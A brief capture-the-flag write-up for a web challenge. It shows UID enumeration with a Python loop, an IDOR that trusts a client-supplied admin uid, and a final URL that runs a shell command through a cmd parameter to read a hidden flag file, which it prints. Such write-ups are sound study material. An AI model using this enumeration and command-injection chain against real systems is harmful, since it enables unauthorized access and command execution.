MoeWalls
162 words
1 minute
Easy Web
Reconnaissance
Analyzing the Dockerfile
RUN mkdir -p /app/.hidden && \ mv /app/flag.txt /app/.hidden/flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1).txtThe flag is in /app/.hidden/ with a randomized filename. We can use wildcards: /app/.hidden/flag*
Exploring the Web Application
Found a /profile endpoint with a uid parameter. Testing uid=1 returns a user, uid=2 returns “not found”.
Finding the Admin User
I wrote a Python script to enumerate UIDs:
for uid in range(1, 10000): response = requests.get(f'/profile?uid={uid}') if 'admin' in response.text.lower(): print(f'Admin found with uid {uid}') breakResult: Admin found with uid 1337
The Admin Portal
The admin portal at /profile?uid=1337 has a link to an admin command interface with an input field (default: whoami) that outputs nobody.
This looks like command execution! However, trying to change commands returns “Access denied” because the form changes the UID to 2.
Exploitation - IDOR
The vulnerability is clear:
- The admin portal checks if
uidhas admin privileges - But the
uidparameter is client-controlled via the URL - We can manually set
uid=1337to bypass the check!
Final Exploit URL
/admin?uid=1337&cmd=cat%20/app/.hidden/flag*Flag
QnQSec{I_f0und_th1s_1day_wh3n_I_am_using_sch00l_0j}